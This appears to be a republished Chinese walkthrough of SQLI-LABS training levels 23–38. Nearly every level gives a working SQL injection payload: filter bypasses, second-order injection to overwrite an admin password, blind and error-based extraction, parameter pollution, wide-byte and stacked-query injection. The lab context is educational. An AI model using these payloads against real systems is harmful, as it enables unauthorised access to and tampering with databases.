SQLI-LABS 靶场通过小记(23~38)

Posted 曹振国cc

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQLI-LABS 靶场通过小记(23~38)相关的知识,希望对你有一定的参考价值。

23~38

Less-23:

$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);					//获取getid的传参,搜索是否存在注释#,如果存在就用空 来代替,然后重新赋值给GET接受的id
$id = preg_replace($reg1, $replace, $id);					//获取getid的传参,搜索是否存在注释--,如果存在就用空 来代替,然后重新赋值给GET接受的id

1.加单引号让后面闭合
?id=1' and 1=2 union select 1,database(),3'

2.使用逻辑运算注入
?id=1' and 1=2 union select 1,database(),3 or '1=1

Less-24:

通过二次注入修改其他用户的密码

密码:123456

重置密码

新密码为:caocao

修改成功

在本地查看用户名及密码,发现admin用户的密码已经被修改admin' -- qwe用户的密码却没有被修改

Less-25:

通过提示我们不难发现andor都被过滤了

1.查看源码
function blacklist($id)

        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)//删除OR(不区分大小写)
        $id= preg_replace('/AND/i',"", $id);            //Strip out AND (non case sensitive)//删除AND(不区分大小写)

        return $id;

2.双写搭配大小写匹配关键字绕过
?id=1' anANdD 1=2 union select 1,database(),2 -- qwe

3.关键字等价绕过
可以使用&代替and,url编码是%26
?id=1' %26 1=2 union select 1,database(),2 -- qwe

Less-25a:

不需要闭合
?id=1 anANdD 1=2 union select 1,database(),2 -- qwe

Less-26:

提示是过滤了空格和注释

1.查看源码发现过滤了,and,or,空格及注释
function blacklist($id)

        $id= preg_replace('/or/i',"", $id);                     //strip out OR (non case sensitive)
        $id= preg_replace('/and/i',"", $id);            //Strip out AND (non case sensitive)
        $id= preg_replace('/[\\/\\*]/',"", $id);          //strip out /*
        $id= preg_replace('/[--]/',"", $id);            //Strip out --
        $id= preg_replace('/[#]/',"", $id);                     //Strip out #
        $id= preg_replace('/[\\s]/',"", $id);            //Strip out spaces
        $id= preg_replace('/[\\/\\\\\\\\]/',"", $id);                //Strip out slashes
        return $id;

2.通过ascii码转url编码进行绕过
可替代空格的符号:%20	%09	%0a	%0b	%0c	%0d	%a0	/**/
经测试只有%a0可以替换成功
%26			&的url编码
%27			'的编码
?id=0%27union%a0select%a01,database(),3%a0%26%a0%271=1

Less-26a:

查看代码才知道是单引号括号闭合')

?id=0%27)union%a0select%a01,database(),3%a0%26%a0(%271=1

Less-27:

过滤了常用注释和union、select,但是它的过滤并不完整

1.大小写交错绕过
?id=1'and%a0updatexml(1,concat(0x7e,(SeLEct%a0database()),0x7e),1)and'1=1

2.盲注绕过
?id=1'%a0and%a0if((length(database())=8),sleep(3),1)%a0and%a0'1=1				//数据库长度是8位

Less-27a:

双引号闭合,尝试时间盲注

?id=1"%a0and%a0if((length(database())=8),sleep(3),1)%a0and%a0"1=1	

Less-28:

union select大小写均被过滤,注释,空格都被过滤

?id=1%27)and%a0ascii(substr(database(),1,1))=115%a0and(%271=1					//有返回说明首字母ascii码是115是s

Less-28a:

1.同28题使用盲注:
?id=1%27)and%a0ascii(substr(database(),1,1))=115%a0and(%271=1				//正常

2.显错注入(28题也适用):
?id=0')UnIOn%a0SElEct%a01,database(),('3=3

Less-29(网站由世界上最好的防火墙保护):

在id后加入\\发现是单引号'闭合

1.查询库名
?id=1' and 1=2 union select 1,database(),2 -- qwe

利用 tomcat 与 apache 解析相同请求参数不同的特性,tomcat 解析相同请求参数取第一个,而 apache 取第二个,如?id=1&id=2,tomcat 取得 1,apache 取得 2:
?id=1&id=0' union select 1,database(),2 -- qwe

Less-30:

双引号闭合

?id=1" and 1=2 union select 1,database(),2 -- qwe

?id=1&id=0" union select 1,database(),2 -- qwe
?id=1&id=0" union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Les-31:

加双引号,报错发现需要双引号括号")闭合

1.同29题,注入爆库名
?id=1") and 1=2 union select 1,database(),2 -- qwe

?id=1&id=0") union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-32:

加入传参发现都会加上转义符,尝试使用宽字节注入

1.宽字节注入
?id=1%df%27 and 1=2 union select 1,database(),2 -- qwe

?id=1&id=0%df%27 union selEct 1,group_concat(schema_name),2 from information_schema.schemata;%23

Less-33:

同32题不用改payload

Less-34:

加反斜杠发现会被转义采用宽字节注入

1.宽字节注入
0%df' union select 1,database() -- qwe

0%df'%20union+selEct%201,group_concat(schema_name)%20from%20informatio n_schema.schemata%3b%23

Less-35:

在id后加入反斜杠,发现并不需要闭合

1.查询库名
?id=1 and 1=2 union select 1,database(),2 -- qwe

Less-36:

在id传参后加入反斜杠被转义

1.宽字节注入:
?id=0%df%27union select 1,version(),3 -- qwe

Less-37:

加入反斜杠发现会被转义,使用宽字节注入

1.宽字节注入
0%df'union select 1,version() -- qwe			//查询数据库版本

Less-38:

1.解析源码
mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句

2.堆叠注入
?id=1' and 1=2 union select 1,database(),version();-- qwe

以上是关于SQLI-LABS 靶场通过小记(23~38)的主要内容,如果未能解决你的问题,请参考以下文章

SQLI-LABS 靶场通过小记(23~38)

SQLI-LABS 靶场通过小记(39~53)

SQLI-LABS 靶场通过小记(39~53)

SQLI-LABS 靶场通过小记(39~53)

SQLI-LABS 靶场通过小记(54~65)

SQLI-LABS 靶场通过小记(54~65)